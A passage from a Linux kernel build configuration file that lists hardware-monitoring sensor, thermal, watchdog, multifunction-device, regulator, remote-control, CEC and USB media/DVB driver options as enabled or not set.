CONFIG_SENSORS_POWERZ=y
# CONFIG_SENSORS_POWR1220 is not set
# CONFIG_SENSORS_PROM21_XHCI is not set
# CONFIG_SENSORS_LATTEPANDA_SIGMA_EC is not set
# CONFIG_SENSORS_LENOVO_EC is not set
# CONFIG_SENSORS_LINEAGE is not set
# CONFIG_SENSORS_LTC2945 is not set
# CONFIG_SENSORS_LTC2947_I2C is not set
# CONFIG_SENSORS_LTC2947_SPI is not set
# CONFIG_SENSORS_LTC2990 is not set
# CONFIG_SENSORS_LTC2991 is not set
# CONFIG_SENSORS_LTC2992 is not set
# CONFIG_SENSORS_LTC4151 is not set
# CONFIG_SENSORS_LTC4215 is not set
# CONFIG_SENSORS_LTC4222 is not set
# CONFIG_SENSORS_LTC4245 is not set
# CONFIG_SENSORS_LTC4260 is not set
# CONFIG_SENSORS_LTC4261 is not set
# CONFIG_SENSORS_LTC4282 is not set
# CONFIG_SENSORS_LTC4283 is not set
# CONFIG_SENSORS_MAX1111 is not set
# CONFIG_SENSORS_MAX127 is not set
# CONFIG_SENSORS_MAX16065 is not set
# CONFIG_SENSORS_MAX1619 is not set
# CONFIG_SENSORS_MAX1668 is not set
# CONFIG_SENSORS_MAX197 is not set
# CONFIG_SENSORS_MAX31722 is not set
# CONFIG_SENSORS_MAX31730 is not set
# CONFIG_SENSORS_MAX31760 is not set
# CONFIG_MAX31827 is not set
# CONFIG_SENSORS_MAX6620 is not set
# CONFIG_SENSORS_MAX6621 is not set
# CONFIG_SENSORS_MAX6639 is not set
# CONFIG_SENSORS_MAX6650 is not set
# CONFIG_SENSORS_MAX6697 is not set
# CONFIG_SENSORS_MAX31790 is not set
# CONFIG_SENSORS_MC34VR500 is not set
# CONFIG_SENSORS_MCP3021 is not set
# CONFIG_SENSORS_MCP9982 is not set
# CONFIG_SENSORS_TC654 is not set
# CONFIG_SENSORS_TPS23861 is not set
# CONFIG_SENSORS_MR75203 is not set
# CONFIG_SENSORS_ADCXX is not set
# CONFIG_SENSORS_LM63 is not set
# CONFIG_SENSORS_LM70 is not set
# CONFIG_SENSORS_LM73 is not set
# CONFIG_SENSORS_LM75 is not set
# CONFIG_SENSORS_LM77 is not set
# CONFIG_SENSORS_LM78 is not set
# CONFIG_SENSORS_LM80 is not set
# CONFIG_SENSORS_LM83 is not set
# CONFIG_SENSORS_LM85 is not set
# CONFIG_SENSORS_LM87 is not set
# CONFIG_SENSORS_LM90 is not set
# CONFIG_SENSORS_LM92 is not set
# CONFIG_SENSORS_LM93 is not set
# CONFIG_SENSORS_LM95234 is not set
# CONFIG_SENSORS_LM95241 is not set
# CONFIG_SENSORS_LM95245 is not set
# CONFIG_SENSORS_PC87360 is not set
# CONFIG_SENSORS_PC87427 is not set
# CONFIG_SENSORS_NTC_THERMISTOR is not set
# CONFIG_SENSORS_NCT6683 is not set
# CONFIG_SENSORS_NCT6775 is not set
# CONFIG_SENSORS_NCT6775_I2C is not set
# CONFIG_SENSORS_NCT7363 is not set
# CONFIG_SENSORS_NCT7802 is not set
# CONFIG_SENSORS_NCT7904 is not set
# CONFIG_SENSORS_NPCM7XX is not set
CONFIG_SENSORS_NZXT_KRAKEN2=y
# CONFIG_SENSORS_NZXT_KRAKEN3 is not set
CONFIG_SENSORS_NZXT_SMART2=y
# CONFIG_SENSORS_OCC_P8_I2C is not set
# CONFIG_SENSORS_PCF8591 is not set
# CONFIG_PMBUS is not set
# CONFIG_SENSORS_PT5161L is not set
# CONFIG_SENSORS_SBTSI is not set
# CONFIG_SENSORS_SHT15 is not set
# CONFIG_SENSORS_SHT21 is not set
# CONFIG_SENSORS_SHT3x is not set
# CONFIG_SENSORS_SHT4x is not set
# CONFIG_SENSORS_SHTC1 is not set
# CONFIG_SENSORS_SIS5595 is not set
# CONFIG_SENSORS_DME1737 is not set
# CONFIG_SENSORS_EMC1403 is not set
# CONFIG_SENSORS_EMC1812 is not set
# CONFIG_SENSORS_EMC2103 is not set
# CONFIG_SENSORS_EMC2305 is not set
# CONFIG_SENSORS_EMC6W201 is not set
# CONFIG_SENSORS_SMSC47M1 is not set
# CONFIG_SENSORS_SMSC47M192 is not set
# CONFIG_SENSORS_SMSC47B397 is not set
# CONFIG_SENSORS_SCH5627 is not set
# CONFIG_SENSORS_SCH5636 is not set
# CONFIG_SENSORS_STTS751 is not set
# CONFIG_SENSORS_SURFACE_FAN is not set
# CONFIG_SENSORS_SURFACE_TEMP is not set
# CONFIG_SENSORS_ADC128D818 is not set
# CONFIG_SENSORS_ADS7828 is not set
# CONFIG_SENSORS_ADS7871 is not set
# CONFIG_SENSORS_AMC6821 is not set
# CONFIG_SENSORS_INA209 is not set
# CONFIG_SENSORS_INA2XX is not set
# CONFIG_SENSORS_INA238 is not set
# CONFIG_SENSORS_INA3221 is not set
# CONFIG_SENSORS_SPD5118 is not set
# CONFIG_SENSORS_TC74 is not set
# CONFIG_SENSORS_THMC50 is not set
# CONFIG_SENSORS_TMP102 is not set
# CONFIG_SENSORS_TMP103 is not set
# CONFIG_SENSORS_TMP108 is not set
# CONFIG_SENSORS_TMP401 is not set
# CONFIG_SENSORS_TMP421 is not set
# CONFIG_SENSORS_TMP464 is not set
# CONFIG_SENSORS_TMP513 is not set
# CONFIG_SENSORS_TSC1641 is not set
# CONFIG_SENSORS_VIA_CPUTEMP is not set
# CONFIG_SENSORS_VIA686A is not set
# CONFIG_SENSORS_VT1211 is not set
# CONFIG_SENSORS_VT8231 is not set
# CONFIG_SENSORS_W83773G is not set
# CONFIG_SENSORS_W83781D is not set
# CONFIG_SENSORS_W83791D is not set
# CONFIG_SENSORS_W83792D is not set
# CONFIG_SENSORS_W83793 is not set
# CONFIG_SENSORS_W83795 is not set
# CONFIG_SENSORS_W83L785TS is not set
# CONFIG_SENSORS_W83L786NG is not set
# CONFIG_SENSORS_W83627HF is not set
# CONFIG_SENSORS_W83627EHF is not set
# CONFIG_SENSORS_XGENE is not set
# CONFIG_SENSORS_YOGAFAN is not set

#
# ACPI drivers
#
# CONFIG_SENSORS_ACPI_POWER is not set
# CONFIG_SENSORS_ATK0110 is not set
# CONFIG_SENSORS_ASUS_WMI is not set
# CONFIG_SENSORS_ASUS_EC is not set
# CONFIG_SENSORS_HP_WMI is not set
CONFIG_THERMAL=y
CONFIG_THERMAL_NETLINK=y
# CONFIG_THERMAL_STATISTICS is not set
# CONFIG_THERMAL_DEBUGFS is not set
# CONFIG_THERMAL_CORE_TESTING is not set
CONFIG_THERMAL_EMERGENCY_POWEROFF_DELAY_MS=0
CONFIG_THERMAL_HWMON=y
# CONFIG_THERMAL_OF is not set
CONFIG_THERMAL_DEFAULT_GOV_STEP_WISE=y
# CONFIG_THERMAL_DEFAULT_GOV_FAIR_SHARE is not set
# CONFIG_THERMAL_DEFAULT_GOV_USER_SPACE is not set
# CONFIG_THERMAL_GOV_FAIR_SHARE is not set
CONFIG_THERMAL_GOV_STEP_WISE=y
# CONFIG_THERMAL_GOV_BANG_BANG is not set
# CONFIG_THERMAL_GOV_USER_SPACE is not set
# CONFIG_PCIE_THERMAL is not set
# CONFIG_THERMAL_EMULATION is not set
# CONFIG_THERMAL_MMIO is not set

#
# Intel thermal drivers
#
# CONFIG_INTEL_POWERCLAMP is not set
CONFIG_X86_THERMAL_VECTOR=y
# CONFIG_X86_PKG_TEMP_THERMAL is not set
# CONFIG_INTEL_SOC_DTS_THERMAL is not set

#
# ACPI INT340X thermal drivers
#
# CONFIG_INT340X_THERMAL is not set
# end of ACPI INT340X thermal drivers

# CONFIG_INTEL_BXT_PMIC_THERMAL is not set
# CONFIG_INTEL_PCH_THERMAL is not set
# CONFIG_INTEL_TCC_COOLING is not set
# CONFIG_INTEL_HFI_THERMAL is not set
# end of Intel thermal drivers

# CONFIG_GENERIC_ADC_THERMAL is not set
CONFIG_WATCHDOG=y
# CONFIG_WATCHDOG_CORE is not set
# CONFIG_WATCHDOG_NOWAYOUT is not set
CONFIG_WATCHDOG_HANDLE_BOOT_ENABLED=y
CONFIG_WATCHDOG_OPEN_TIMEOUT=0
# CONFIG_WATCHDOG_SYSFS is not set
# CONFIG_WATCHDOG_HRTIMER_PRETIMEOUT is not set

#
# Watchdog Pretimeout Governors
#

#
# Watchdog Device Drivers
#
# CONFIG_SOFT_WATCHDOG is not set
# CONFIG_GPIO_WATCHDOG is not set
# CONFIG_LENOVO_SE10_WDT is not set
# CONFIG_LENOVO_SE30_WDT is not set
# CONFIG_LENOVO_SE30G2_SE60_WDT is not set
# CONFIG_WDAT_WDT is not set
# CONFIG_XILINX_WATCHDOG is not set
# CONFIG_ZIIRAVE_WATCHDOG is not set
# CONFIG_CADENCE_WATCHDOG is not set
# CONFIG_DW_WATCHDOG is not set
# CONFIG_TWL4030_WATCHDOG is not set
# CONFIG_MAX63XX_WATCHDOG is not set
# CONFIG_RETU_WATCHDOG is not set
# CONFIG_ACQUIRE_WDT is not set
# CONFIG_ADVANTECH_WDT is not set
# CONFIG_ADVANTECH_EC_WDT is not set
# CONFIG_ALIM1535_WDT is not set
# CONFIG_ALIM7101_WDT is not set
# CONFIG_EBC_C384_WDT is not set
# CONFIG_EXAR_WDT is not set
# CONFIG_F71808E_WDT is not set
# CONFIG_SP5100_TCO is not set
# CONFIG_SBC_FITPC2_WATCHDOG is not set
# CONFIG_EUROTECH_WDT is not set
# CONFIG_IB700_WDT is not set
# CONFIG_IBMASR is not set
# CONFIG_WAFER_WDT is not set
# CONFIG_I6300ESB_WDT is not set
# CONFIG_IE6XX_WDT is not set
# CONFIG_INTEL_OC_WATCHDOG is not set
# CONFIG_ITCO_WDT is not set
# CONFIG_IT8712F_WDT is not set
# CONFIG_IT87_WDT is not set
# CONFIG_HP_WATCHDOG is not set
# CONFIG_SC1200_WDT is not set
# CONFIG_PC87413_WDT is not set
# CONFIG_NV_TCO is not set
# CONFIG_60XX_WDT is not set
# CONFIG_SMSC_SCH311X_WDT is not set
# CONFIG_SMSC37B787_WDT is not set
# CONFIG_TQMX86_WDT is not set
# CONFIG_VIA_WDT is not set
# CONFIG_W83627HF_WDT is not set
# CONFIG_W83877F_WDT is not set
# CONFIG_W83977F_WDT is not set
# CONFIG_SBC_EPX_C3_WATCHDOG is not set
# CONFIG_INTEL_MEI_WDT is not set
# CONFIG_NI903X_WDT is not set
# CONFIG_NIC7018_WDT is not set
# CONFIG_MEN_A21_WDT is not set

#
# PCI-based Watchdog Cards
#
# CONFIG_PCIPCWATCHDOG is not set
# CONFIG_WDTPCI is not set

#
# USB-based Watchdog Cards
#
CONFIG_USBPCWATCHDOG=y
CONFIG_SSB_POSSIBLE=y
CONFIG_SSB=y
CONFIG_SSB_PCIHOST_POSSIBLE=y
# CONFIG_SSB_PCIHOST is not set
CONFIG_SSB_PCMCIAHOST_POSSIBLE=y
# CONFIG_SSB_PCMCIAHOST is not set
CONFIG_SSB_SDIOHOST_POSSIBLE=y
# CONFIG_SSB_SDIOHOST is not set
# CONFIG_SSB_DRIVER_GPIO is not set
CONFIG_BCMA_POSSIBLE=y
CONFIG_BCMA=y
CONFIG_BCMA_HOST_PCI_POSSIBLE=y
# CONFIG_BCMA_HOST_PCI is not set
# CONFIG_BCMA_HOST_SOC is not set
# CONFIG_BCMA_DRIVER_PCI is not set
# CONFIG_BCMA_DRIVER_GMAC_CMN is not set
# CONFIG_BCMA_DRIVER_GPIO is not set
# CONFIG_BCMA_DEBUG is not set

#
# Multifunction device drivers
#
CONFIG_MFD_CORE=y
# CONFIG_MFD_ADP5585 is not set
# CONFIG_MFD_ACT8945A is not set
# CONFIG_MFD_AS3711 is not set
# CONFIG_MFD_SMPRO is not set
# CONFIG_MFD_AS3722 is not set
# CONFIG_PMIC_ADP5520 is not set
# CONFIG_MFD_AAT2870_CORE is not set
# CONFIG_MFD_ATMEL_FLEXCOM is not set
# CONFIG_MFD_ATMEL_HLCDC is not set
# CONFIG_MFD_BCM590XX is not set
# CONFIG_MFD_BD9571MWV is not set
# CONFIG_MFD_AXP20X_I2C is not set
# CONFIG_MFD_CGBC is not set
# CONFIG_MFD_CS40L50_I2C is not set
# CONFIG_MFD_CS40L50_SPI is not set
# CONFIG_MFD_CS42L43_I2C is not set
# CONFIG_MFD_CS42L43_SDW is not set
# CONFIG_MFD_LOCHNAGAR is not set
# CONFIG_MFD_MADERA is not set
# CONFIG_PMIC_DA903X is not set
# CONFIG_MFD_DA9052_SPI is not set
# CONFIG_MFD_DA9052_I2C is not set
# CONFIG_MFD_DA9055 is not set
# CONFIG_MFD_DA9062 is not set
# CONFIG_MFD_DA9063 is not set
# CONFIG_MFD_DA9150 is not set
CONFIG_MFD_DLN2=y
# CONFIG_MFD_GATEWORKS_GSC is not set
# CONFIG_MFD_MC13XXX_SPI is not set
# CONFIG_MFD_MC13XXX_I2C is not set
# CONFIG_MFD_MP2629 is not set
# CONFIG_MFD_PF1550 is not set
# CONFIG_MFD_HI6421_PMIC is not set
# CONFIG_MFD_INTEL_QUARK_I2C_GPIO is not set
CONFIG_LPC_ICH=y
# CONFIG_LPC_SCH is not set
# CONFIG_INTEL_SOC_PMIC is not set
CONFIG_INTEL_SOC_PMIC_BXTWC=y
CONFIG_INTEL_SOC_PMIC_CHTWC=y
# CONFIG_INTEL_SOC_PMIC_CHTDC_TI is not set
# CONFIG_MFD_INTEL_LPSS_ACPI is not set
# CONFIG_MFD_INTEL_LPSS_PCI is not set
CONFIG_MFD_INTEL_PMC_BXT=y
# CONFIG_MFD_IQS62X is not set
# CONFIG_MFD_JANZ_CMODIO is not set
# CONFIG_MFD_KEMPLD is not set
# CONFIG_MFD_88PM800 is not set
# CONFIG_MFD_88PM805 is not set
# CONFIG_MFD_88PM860X is not set
# CONFIG_MFD_88PM886_PMIC is not set
# CONFIG_MFD_MAX5970 is not set
# CONFIG_MFD_MAX14577 is not set
# CONFIG_MFD_MAX77541 is not set
# CONFIG_MFD_MAX77620 is not set
# CONFIG_MFD_MAX77650 is not set
# CONFIG_MFD_MAX77686 is not set
# CONFIG_MFD_MAX77693 is not set
# CONFIG_MFD_MAX77705 is not set
# CONFIG_MFD_MAX77714 is not set
# CONFIG_MFD_MAX77759 is not set
# CONFIG_MFD_MAX77843 is not set
# CONFIG_MFD_MAX8907 is not set
# CONFIG_MFD_MAX8925 is not set
# CONFIG_MFD_MAX8997 is not set
# CONFIG_MFD_MAX8998 is not set
CONFIG_MFD_MT6360=y
CONFIG_MFD_MT6370=y
# CONFIG_MFD_MT6397 is not set
# CONFIG_MFD_MENF21BMC is not set
# CONFIG_MFD_NCT6694 is not set
# CONFIG_MFD_OCELOT is not set
# CONFIG_MFD_CPCAP is not set
CONFIG_MFD_VIPERBOARD=y
# CONFIG_MFD_NTXEC is not set
CONFIG_MFD_RETU=y
# CONFIG_MFD_SY7636A is not set
# CONFIG_MFD_RDC321X is not set
# CONFIG_MFD_RT4831 is not set
# CONFIG_MFD_RT5033 is not set
# CONFIG_MFD_RT5120 is not set
# CONFIG_MFD_RC5T583 is not set
# CONFIG_MFD_RK8XX_I2C is not set
# CONFIG_MFD_RK8XX_SPI is not set
# CONFIG_MFD_RN5T618 is not set
# CONFIG_MFD_SEC_I2C is not set
# CONFIG_MFD_SI476X_CORE is not set
# CONFIG_MFD_SM501 is not set
# CONFIG_MFD_SKY81452 is not set
# CONFIG_MFD_STMPE is not set
CONFIG_MFD_SYSCON=y
# CONFIG_MFD_LP3943 is not set
# CONFIG_MFD_LP8788 is not set
# CONFIG_MFD_TI_LMU is not set
# CONFIG_MFD_BQ257XX is not set
# CONFIG_MFD_PALMAS is not set
# CONFIG_TPS6105X is not set
# CONFIG_TPS65010 is not set
# CONFIG_TPS6507X is not set
# CONFIG_MFD_TPS65086 is not set
# CONFIG_MFD_TPS65090 is not set
# CONFIG_MFD_TPS65217 is not set
# CONFIG_MFD_TI_LP873X is not set
# CONFIG_MFD_TI_LP87565 is not set
# CONFIG_MFD_TPS65218 is not set
# CONFIG_MFD_TPS65219 is not set
# CONFIG_MFD_TPS6586X is not set
# CONFIG_MFD_TPS65910 is not set
# CONFIG_MFD_TPS65912_I2C is not set
# CONFIG_MFD_TPS65912_SPI is not set
# CONFIG_MFD_TPS6594_I2C is not set
# CONFIG_MFD_TPS6594_SPI is not set
CONFIG_TWL4030_CORE=y
# CONFIG_MFD_TWL4030_AUDIO is not set
# CONFIG_TWL6040_CORE is not set
# CONFIG_MFD_LM3533 is not set
# CONFIG_MFD_TC3589X is not set
# CONFIG_MFD_TQMX86 is not set
# CONFIG_MFD_VX855 is not set
# CONFIG_MFD_ARIZONA_I2C is not set
# CONFIG_MFD_ARIZONA_SPI is not set
# CONFIG_MFD_WM8400 is not set
# CONFIG_MFD_WM831X_I2C is not set
# CONFIG_MFD_WM831X_SPI is not set
# CONFIG_MFD_WM8350_I2C is not set
# CONFIG_MFD_WM8994 is not set
# CONFIG_MFD_ROHM_BD718XX is not set
# CONFIG_MFD_ROHM_BD71828 is not set
# CONFIG_MFD_ROHM_BD957XMUF is not set
# CONFIG_MFD_ROHM_BD96801 is not set
# CONFIG_MFD_STPMIC1 is not set
# CONFIG_MFD_STMFX is not set
# CONFIG_MFD_ATC260X_I2C is not set
# CONFIG_MFD_QCOM_PM8008 is not set
# CONFIG_RAVE_SP_CORE is not set
# CONFIG_MFD_INTEL_M10_BMC_SPI is not set
# CONFIG_MFD_QNAP_MCU is not set
# CONFIG_MFD_RSMU_I2C is not set
# CONFIG_MFD_RSMU_SPI is not set
# CONFIG_MFD_UPBOARD_FPGA is not set
# CONFIG_MFD_MAX7360 is not set
# end of Multifunction device drivers

CONFIG_REGULATOR=y
# CONFIG_REGULATOR_DEBUG is not set
CONFIG_REGULATOR_FIXED_VOLTAGE=y
# CONFIG_REGULATOR_VIRTUAL_CONSUMER is not set
# CONFIG_REGULATOR_USERSPACE_CONSUMER is not set
# CONFIG_REGULATOR_NETLINK_EVENTS is not set
# CONFIG_REGULATOR_88PG86X is not set
# CONFIG_REGULATOR_ACT8865 is not set
# CONFIG_REGULATOR_AD5398 is not set
# CONFIG_REGULATOR_ADP5055 is not set
# CONFIG_REGULATOR_AW37503 is not set
# CONFIG_REGULATOR_DA9121 is not set
# CONFIG_REGULATOR_DA9210 is not set
# CONFIG_REGULATOR_DA9211 is not set
# CONFIG_REGULATOR_FAN53555 is not set
# CONFIG_REGULATOR_FAN53880 is not set
# CONFIG_REGULATOR_GPIO is not set
# CONFIG_REGULATOR_ISL9305 is not set
# CONFIG_REGULATOR_ISL6271A is not set
# CONFIG_REGULATOR_FP9931 is not set
# CONFIG_REGULATOR_LP3971 is not set
# CONFIG_REGULATOR_LP3972 is not set
# CONFIG_REGULATOR_LP872X is not set
# CONFIG_REGULATOR_LP8755 is not set
# CONFIG_REGULATOR_LTC3589 is not set
# CONFIG_REGULATOR_LTC3676 is not set
# CONFIG_REGULATOR_MAX1586 is not set
# CONFIG_REGULATOR_MAX77503 is not set
# CONFIG_REGULATOR_MAX77675 is not set
# CONFIG_REGULATOR_MAX77857 is not set
# CONFIG_REGULATOR_MAX8649 is not set
# CONFIG_REGULATOR_MAX8660 is not set
# CONFIG_REGULATOR_MAX8893 is not set
# CONFIG_REGULATOR_MAX8952 is not set
# CONFIG_REGULATOR_MAX20086 is not set
# CONFIG_REGULATOR_MAX20411 is not set
# CONFIG_REGULATOR_MAX77826 is not set
# CONFIG_REGULATOR_MAX77838 is not set
# CONFIG_REGULATOR_MCP16502 is not set
# CONFIG_REGULATOR_MP5416 is not set
# CONFIG_REGULATOR_MP8859 is not set
# CONFIG_REGULATOR_MP886X is not set
# CONFIG_REGULATOR_MPQ7920 is not set
# CONFIG_REGULATOR_MT6311 is not set
# CONFIG_REGULATOR_MT6360 is not set
# CONFIG_REGULATOR_MT6370 is not set
# CONFIG_REGULATOR_PCA9450 is not set
# CONFIG_REGULATOR_PF9453 is not set
# CONFIG_REGULATOR_PF0900 is not set
# CONFIG_REGULATOR_PF530X is not set
# CONFIG_REGULATOR_PF8X00 is not set
# CONFIG_REGULATOR_PFUZE100 is not set
# CONFIG_REGULATOR_PV88060 is not set
# CONFIG_REGULATOR_PV88080 is not set
# CONFIG_REGULATOR_PV88090 is not set
# CONFIG_REGULATOR_RAA215300 is not set
# CONFIG_REGULATOR_RT4801 is not set
# CONFIG_REGULATOR_RT4803 is not set
# CONFIG_REGULATOR_RT5133 is not set
# CONFIG_REGULATOR_RT5190A is not set
# CONFIG_REGULATOR_RT5739 is not set
# CONFIG_REGULATOR_RT5759 is not set
# CONFIG_REGULATOR_RT6160 is not set
# CONFIG_REGULATOR_RT6190 is not set
# CONFIG_REGULATOR_RT6245 is not set
# CONFIG_REGULATOR_RT8092 is not set
# CONFIG_REGULATOR_RTQ2134 is not set
# CONFIG_REGULATOR_RTMV20 is not set
# CONFIG_REGULATOR_RTQ6752 is not set
# CONFIG_REGULATOR_RTQ2208 is not set
# CONFIG_REGULATOR_SGM3804 is not set
# CONFIG_REGULATOR_SLG51000 is not set
# CONFIG_REGULATOR_SY8106A is not set
# CONFIG_REGULATOR_SY8824X is not set
# CONFIG_REGULATOR_SY8827N is not set
# CONFIG_REGULATOR_TPS51632 is not set
# CONFIG_REGULATOR_TPS62360 is not set
# CONFIG_REGULATOR_TPS6286X is not set
# CONFIG_REGULATOR_TPS6287X is not set
# CONFIG_REGULATOR_TPS65023 is not set
# CONFIG_REGULATOR_TPS6507X is not set
# CONFIG_REGULATOR_TPS65132 is not set
# CONFIG_REGULATOR_TPS65185 is not set
# CONFIG_REGULATOR_TPS6524X is not set
CONFIG_REGULATOR_TWL4030=y
# CONFIG_REGULATOR_VCTRL is not set
CONFIG_RC_CORE=y
# CONFIG_LIRC is not set
# CONFIG_RC_MAP is not set
# CONFIG_RC_DECODERS is not set
CONFIG_RC_DEVICES=y
# CONFIG_IR_ENE is not set
# CONFIG_IR_FINTEK is not set
# CONFIG_IR_GPIO_CIR is not set
# CONFIG_IR_HIX5HD2 is not set
CONFIG_IR_IGORPLUGUSB=y
CONFIG_IR_IGUANA=y
CONFIG_IR_IMON=y
CONFIG_IR_IMON_RAW=y
# CONFIG_IR_ITE_CIR is not set
CONFIG_IR_MCEUSB=y
# CONFIG_IR_NUVOTON is not set
CONFIG_IR_REDRAT3=y
# CONFIG_IR_SERIAL is not set
CONFIG_IR_STREAMZAP=y
CONFIG_IR_TOY=y
CONFIG_IR_TTUSBIR=y
# CONFIG_IR_WINBOND_CIR is not set
CONFIG_RC_ATI_REMOTE=y
# CONFIG_RC_LOOPBACK is not set
CONFIG_RC_XBOX_DVD=y
CONFIG_CEC_CORE=y

#
# CEC support
#
# CONFIG_MEDIA_CEC_RC is not set
CONFIG_MEDIA_CEC_SUPPORT=y
# CONFIG_CEC_CH7322 is not set
# CONFIG_CEC_NXP_TDA9950 is not set
# CONFIG_CEC_GPIO is not set
# CONFIG_CEC_SECO is not set
# CONFIG_USB_EXTRON_DA_HD_4K_PLUS_CEC is not set
CONFIG_USB_PULSE8_CEC=y
CONFIG_USB_RAINSHADOW_CEC=y
# end of CEC support

CONFIG_MEDIA_SUPPORT=y
CONFIG_MEDIA_SUPPORT_FILTER=y
# CONFIG_MEDIA_SUBDRV_AUTOSELECT is not set

#
# Media device types
#
CONFIG_MEDIA_CAMERA_SUPPORT=y
CONFIG_MEDIA_ANALOG_TV_SUPPORT=y
CONFIG_MEDIA_DIGITAL_TV_SUPPORT=y
CONFIG_MEDIA_RADIO_SUPPORT=y
CONFIG_MEDIA_SDR_SUPPORT=y
CONFIG_MEDIA_PLATFORM_SUPPORT=y
CONFIG_MEDIA_TEST_SUPPORT=y
# end of Media device types

CONFIG_VIDEO_DEV=y
CONFIG_MEDIA_CONTROLLER=y
CONFIG_DVB_CORE=y

#
# Video4Linux options
#
CONFIG_VIDEO_V4L2_I2C=y
CONFIG_VIDEO_V4L2_SUBDEV_API=y
# CONFIG_VIDEO_ADV_DEBUG is not set
# CONFIG_VIDEO_FIXED_MINOR_RANGES is not set
CONFIG_VIDEO_TUNER=y
CONFIG_V4L2_MEM2MEM_DEV=y
# end of Video4Linux options

#
# Media controller options
#
CONFIG_MEDIA_CONTROLLER_DVB=y
# end of Media controller options

#
# Digital TV options
#
# CONFIG_DVB_MMAP is not set
# CONFIG_DVB_NET is not set
CONFIG_DVB_MAX_ADAPTERS=16
# CONFIG_DVB_DYNAMIC_MINORS is not set
# CONFIG_DVB_DEMUX_SECTION_LOSS_LOG is not set
# CONFIG_DVB_ULE_DEBUG is not set
# end of Digital TV options

#
# Media drivers
#

#
# Drivers filtered as selected at 'Filter media drivers'
#

#
# Media drivers
#
CONFIG_MEDIA_USB_SUPPORT=y

#
# Webcam devices
#
CONFIG_USB_GSPCA=y
CONFIG_USB_GSPCA_BENQ=y
CONFIG_USB_GSPCA_CONEX=y
CONFIG_USB_GSPCA_CPIA1=y
CONFIG_USB_GSPCA_DTCS033=y
CONFIG_USB_GSPCA_ETOMS=y
CONFIG_USB_GSPCA_FINEPIX=y
CONFIG_USB_GSPCA_JEILINJ=y
CONFIG_USB_GSPCA_JL2005BCD=y
CONFIG_USB_GSPCA_KINECT=y
CONFIG_USB_GSPCA_KONICA=y
CONFIG_USB_GSPCA_MARS=y
CONFIG_USB_GSPCA_MR97310A=y
CONFIG_USB_GSPCA_NW80X=y
CONFIG_USB_GSPCA_OV519=y
CONFIG_USB_GSPCA_OV534=y
CONFIG_USB_GSPCA_OV534_9=y
CONFIG_USB_GSPCA_PAC207=y
CONFIG_USB_GSPCA_PAC7302=y
CONFIG_USB_GSPCA_PAC7311=y
CONFIG_USB_GSPCA_SE401=y
CONFIG_USB_GSPCA_SN9C2028=y
CONFIG_USB_GSPCA_SN9C20X=y
CONFIG_USB_GSPCA_SONIXB=y
CONFIG_USB_GSPCA_SONIXJ=y
CONFIG_USB_GSPCA_SPCA1528=y
CONFIG_USB_GSPCA_SPCA500=y
CONFIG_USB_GSPCA_SPCA501=y
CONFIG_USB_GSPCA_SPCA505=y
CONFIG_USB_GSPCA_SPCA506=y
CONFIG_USB_GSPCA_SPCA508=y
CONFIG_USB_GSPCA_SPCA561=y
CONFIG_USB_GSPCA_SQ905=y
CONFIG_USB_GSPCA_SQ905C=y
CONFIG_USB_GSPCA_SQ930X=y
CONFIG_USB_GSPCA_STK014=y
CONFIG_USB_GSPCA_STK1135=y
CONFIG_USB_GSPCA_STV0680=y
CONFIG_USB_GSPCA_SUNPLUS=y
CONFIG_USB_GSPCA_T613=y
CONFIG_USB_GSPCA_TOPRO=y
CONFIG_USB_GSPCA_TOUPTEK=y
CONFIG_USB_GSPCA_TV8532=y
CONFIG_USB_GSPCA_VC032X=y
CONFIG_USB_GSPCA_VICAM=y
CONFIG_USB_GSPCA_XIRLINK_CIT=y
CONFIG_USB_GSPCA_ZC3XX=y
CONFIG_USB_GL860=y
CONFIG_USB_M5602=y
CONFIG_USB_STV06XX=y
CONFIG_USB_PWC=y
# CONFIG_USB_PWC_DEBUG is not set
CONFIG_USB_PWC_INPUT_EVDEV=y
CONFIG_USB_S2255=y
CONFIG_VIDEO_USBTV=y
CONFIG_USB_VIDEO_CLASS=y
CONFIG_USB_VIDEO_CLASS_INPUT_EVDEV=y

#
# Analog TV USB devices
#
CONFIG_VIDEO_GO7007=y
CONFIG_VIDEO_GO7007_USB=y
CONFIG_VIDEO_GO7007_LOADER=y
CONFIG_VIDEO_GO7007_USB_S2250_BOARD=y
CONFIG_VIDEO_HDPVR=y
CONFIG_VIDEO_PVRUSB2=y
CONFIG_VIDEO_PVRUSB2_SYSFS=y
CONFIG_VIDEO_PVRUSB2_DVB=y
# CONFIG_VIDEO_PVRUSB2_DEBUGIFC is not set
CONFIG_VIDEO_STK1160=y

#
# Analog/digital TV USB devices
#
CONFIG_VIDEO_AU0828=y
CONFIG_VIDEO_AU0828_V4L2=y
CONFIG_VIDEO_AU0828_RC=y
CONFIG_VIDEO_CX231XX=y
CONFIG_VIDEO_CX231XX_RC=y
CONFIG_VIDEO_CX231XX_ALSA=y
CONFIG_VIDEO_CX231XX_DVB=y

#
# Digital TV USB devices
#
CONFIG_DVB_AS102=y
CONFIG_DVB_B2C2_FLEXCOP_USB=y
# CONFIG_DVB_B2C2_FLEXCOP_USB_DEBUG is not set
CONFIG_DVB_USB_V2=y
CONFIG_DVB_USB_AF9015=y
CONFIG_DVB_USB_AF9035=y
CONFIG_DVB_USB_ANYSEE=y
CONFIG_DVB_USB_AU6610=y
CONFIG_DVB_USB_AZ6007=y
CONFIG_DVB_USB_CE6230=y
CONFIG_DVB_USB_DVBSKY=y
CONFIG_DVB_USB_EC168=y
CONFIG_DVB_USB_GL861=y
CONFIG_DVB_USB_LME2510=y
CONFIG_DVB_USB_MXL111SF=y
CONFIG_DVB_USB_RTL28XXU=y
CONFIG_DVB_USB_ZD1301=y
CONFIG_DVB_USB=y
# CONFIG_DVB_USB_DEBUG is not set
CONFIG_DVB_USB_A800=y
CONFIG_DVB_USB_AF9005=y
CONFIG_DVB_USB_AF9005_REMOTE=y
CONFIG_DVB_USB_AZ6027=y
CONFIG_DVB_USB_CINERGY_T2=y
CONFIG_DVB_USB_CXUSB=y
CONFIG_DVB_USB_CXUSB_ANALOG=y
CONFIG_DVB_USB_DIB0700=y
CONFIG_DVB_USB_DIB3000MC=y
CONFIG_DVB_USB_DIBUSB_MB=y
# CONFIG_DVB_USB_DIBUSB_MB_FAULTY is not set
CONFIG_DVB_USB_DIBUSB_MC=y
CONFIG_DVB_USB_DIGITV=y
CONFIG_DVB_USB_DTT200U=y
CONFIG_DVB_USB_DTV5100=y
CONFIG_DVB_USB_DW2102=y
CONFIG_DVB_USB_GP8PSK=y
CONFIG_DVB_USB_M920X=y
CONFIG_DVB_USB_NOVA_T_USB2=y
CONFIG_DVB_USB_OPERA1=y
